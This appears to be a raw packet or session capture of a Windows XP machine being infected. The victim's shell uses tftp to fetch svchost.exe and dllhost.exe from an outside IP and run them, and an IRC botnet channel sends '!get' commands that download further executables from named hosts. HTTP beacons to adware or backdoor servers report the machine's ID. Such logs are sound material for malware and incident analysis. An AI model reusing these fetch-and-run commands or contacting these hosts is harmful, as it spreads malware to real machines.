VICTIM:  	Microsoft Windows XP [Version 5.1.2600] 
VICTIM:  	(C) Copyright 1985-2001 Microsoft Corp.C:\\WINDOWS\\system32> 
VICTIM:  	dir wins\\dllhost.exe 
VICTIM:  	 Volume in drive C has no label. Volume Serial Number is 3CF1-1DE8 Directory of C:\\WINDOWS\\system32\\winsFile Not FoundC:\\WINDOWS\\system32> 
VICTIM:  	dir dllcache\\tftpd.exe 
VICTIM:  	 Volume in drive C has no label. Volume Serial Number is 3CF1-1DE8 Directory of C:\\WINDOWS\\system32\\dllcacheFile Not FoundC:\\WINDOWS\\system32> 
VICTIM:  	tftp -i 116.120.239.76 get svchost.exe wins\\SVCHOST.EXE 
VICTIM:  	\000\001svchost.exe\000octet\000 
VICTIM:  	\000\004\000\001 
VICTIM:  	\000\004\000\002 
VICTIM:  	\000\004\000\003 
VICTIM:  	\000\004\000\004 
VICTIM:  	\000\004\000\005 
VICTIM:  	\000\004\000\006 
VICTIM:  	\000\004\000\007 
VICTIM:  	\000\004\000\010 
VICTIM:  	\000\004\000\t 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\013 
VICTIM:  	\000\004\000\014 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\016 
VICTIM:  	\000\004\000\017 
VICTIM:  	\000\004\000\020 
VICTIM:  	\000\004\000\021 
VICTIM:  	\000\004\000\022 
VICTIM:  	\000\004\000\023 
VICTIM:  	\000\004\000\024 
VICTIM:  	\000\004\000\025 
VICTIM:  	\000\004\000\026 
VICTIM:  	\000\004\000\027 
VICTIM:  	\000\004\000\030 
VICTIM:  	\000\004\000\031 
VICTIM:  	\000\004\000\032 
VICTIM:  	\000\004\000\033 
VICTIM:  	\000\004\000\034 
VICTIM:  	\000\004\000\035 
VICTIM:  	\000\004\000\036 
VICTIM:  	\000\004\000\037 
VICTIM:  	\000\004\000  
VICTIM:  	\000\004\000! 
VICTIM:  	\000\004\000\ 
VICTIM:  	\000\004\000# 
VICTIM:  	\000\004\000\$ 
VICTIM:  	\000\004\000% 
VICTIM:  	\000\004\000& 
VICTIM:  	\000\004\000' 
VICTIM:  	\000\004\000( 
VICTIM:  	\000\004\000) 
VICTIM:  	\000\004\000* 
VICTIM:  	\000\004\000+ 
VICTIM:  	\000\004\000, 
VICTIM:  	\000\004\000- 
VICTIM:  	\000\004\000. 
VICTIM:  	\000\004\000/ 
VICTIM:  	\000\004\0000 
VICTIM:  	\000\004\0001 
VICTIM:  	\000\004\0002 
VICTIM:  	\000\004\0003 
VICTIM:  	\000\004\0004 
VICTIM:  	\000\004\0005 
VICTIM:  	\000\004\0006 
VICTIM:  	\000\004\0007 
VICTIM:  	\000\004\0008 
VICTIM:  	\000\004\0009 
VICTIM:  	\000\004\000: 
VICTIM:  	Transfer successful: 29456 bytes in 10 seconds, 2945 bytes/s 
VICTIM:  	C:\\WINDOWS\\system32> 
VICTIM:  	\000\001dllhost.exe\000octet\000 
VICTIM:  	\000\004\000\001 
VICTIM:  	tftp -i 116.120.239.76 get dllhost.exe wins\\DLLHOST.EXE 
VICTIM:  	\000\004\000\002 
VICTIM:  	\000\004\000\003 
VICTIM:  	\000\004\000\004 
VICTIM:  	\000\004\000\005 
VICTIM:  	\000\004\000\006 
VICTIM:  	\000\004\000\007 
VICTIM:  	\000\004\000\010 
VICTIM:  	\000\004\000\t 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\013 
VICTIM:  	\000\004\000\014 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\016 
VICTIM:  	\000\004\000\017 
VICTIM:  	\000\004\000\020 
VICTIM:  	\000\004\000\021 
VICTIM:  	\000\004\000\022 
VICTIM:  	\000\004\000\023 
VICTIM:  	\000\004\000\024 
VICTIM:  	\000\004\000\025 
VICTIM:  	\000\004\000\026 
VICTIM:  	\000\004\000\027 
VICTIM:  	\000\004\000\030 
VICTIM:  	\000\004\000\031 
VICTIM:  	\000\004\000\032 
VICTIM:  	\000\004\000\033 
VICTIM:  	\000\004\000\034 
VICTIM:  	\000\004\000\035 
VICTIM:  	\000\004\000\036 
VICTIM:  	\000\004\000\037 
VICTIM:  	\000\004\000  
VICTIM:  	\000\004\000! 
VICTIM:  	\000\004\000\ 
VICTIM:  	\000\004\000# 
VICTIM:  	\000\004\000\$ 
VICTIM:  	\000\004\000% 
VICTIM:  	\000\004\000& 
VICTIM:  	\000\004\000' 
VICTIM:  	\000\004\000( 
VICTIM:  	Transfer successful: 19968 bytes in 7 seconds, 2852 bytes/s 
VICTIM:  	C:\\WINDOWS\\system32> 
VICTIM:  	wins\\DLLHOST.EXE 
VICTIM:  	NICK ioroihzmUSER b020501 . . :- 
ATTACKER:	NICK ioroihzmUSER b020501 . . :-JOIN &virtu 
ATTACKER:	:u. PRIVMSG ioroihzm :!get http:/www.zief.pl/gc.exe:u. PRIVMSG ioroihzm :!get http:/dretis.cn/oc/box.txt 
VICTIM:  	GET /gc.exe HTTP/1.0User-Agent: DownloadHost: www.zief.plPragma: no-cache 
ATTACKER:	GET /get_frst.php?uid=3CF11DE8-0C80-1033-0417-060000000001&cmd=61A847B5BBF72811329B385672FF01F0B3E35B6638993F4661AA4EBD86D67C56389B284534F310 HTTP/1.0User-Agent: Windows 5.1 (2600); DMCP ver 95_04dHost: xt67ur.wwlax.com 
ATTACKER:	GET /rp.txt?ver=95_04d&uid=3CF11DE8-0C80-1033-0417-060000000001&iam=I&st=Ok&wy=&cmd=61A847B5BBF72811329B385672FF01F0B3E35B6638993F4661AA4EBD86D67C56389B284534F310&db=f HTTP/1.0User-Agent: Windows 5.1 (2600); DMCP ver 95_04dHost: bugreport.waverevenue.com 
ATTACKER:	GET /gt_ky.php HTTP/1.0User-Agent: Windows 5.1 (2600); DMCP ver 96M01dHost: tidwhmep.s4upd.comPragma: no-cache 
ATTACKER:	GET /gt_bd_93.php?srky=8b0d6979a95d707897891297e6c64457&version=96M01d&GUID=718A67E2C3F7571A2F9B4B5E72E410E3C1803F12369A3F4B72FF11E3C2832212329B3857&un=SYSTEM&cmd=61A847B5BBF72811329B385672FF01F0B3E35B6638993F4661AA4EBD86D67C56389B284534F310&p=0&tst=Ad,Ad&i=&x=45008&dav=0& HTTP/1.0User-Agent: Windows 5.1 (2600); DMCP ver 96M01dHost: tidwhmep.s4upd.comPragma: no-cache 
ATTACKER:	PING :i. 
ATTACKER:	PONG :i. 
VICTIM:  	JOIN &virtu 
ATTACKER:	PING :i. 
ATTACKER:	PONG :i. 
VICTIM:  	JOIN &virtu 
VICTIM:  	JOIN &virtu 
ATTACKER:	PING :i. 
ATTACKER:	PONG :i. 
VICTIM:  	JOIN &virtu 
ATTACKER:	GET /gt_bd_93.php?srky=8b0d6979a95d707897891297e6c64457&version=96M01d&GUID=718A67E2C3F7571A2F9B4B5E72E410E3C1803F12369A3F4B72FF11E3C2832212329B3857&un=SYSTEM&cmd=61A847B5BBF72811329B385672FF01F0B3E35B6638993F4661AA4EBD86D67C56389B284534F310&p=1&tst=Ad,Ad&i=,152:4R9992_0V96M01d&x=46698&dav=0& HTTP/1.0User-Agent: Windows 5.1 (2600); DMCP ver 96M01dHost: tidwhmep.s4upd.comPragma: no-cache 
ATTACKER:	GET /get_93.php?p=155 HTTP/1.0User-Agent: Windows 5.1 (2600); DMCP ver 96M01dHost: rec.bestrevenue.netPragma: no-cache 
ATTACKER:	GET /ack.php?myVer=03IEFF&stIE=OK&stFF=nIn&uid=3CF11DE8-0C80-1033-0417-060001 HTTP/1.0Host: b155.bundlext.comUser-Agent: NSISDL/1.2 (Mozilla)Accept: */* 
ATTACKER:	PING :i. 
ATTACKER:	PONG :i. 
VICTIM:  	JOIN &virtu 
ATTACKER:	PING :i. 
ATTACKER:	PONG :i. 
VICTIM:  	JOIN &virtu 
ATTACKER:	PING :i. 
ATTACKER:	PONG :i. 
VICTIM:  	JOIN &virtu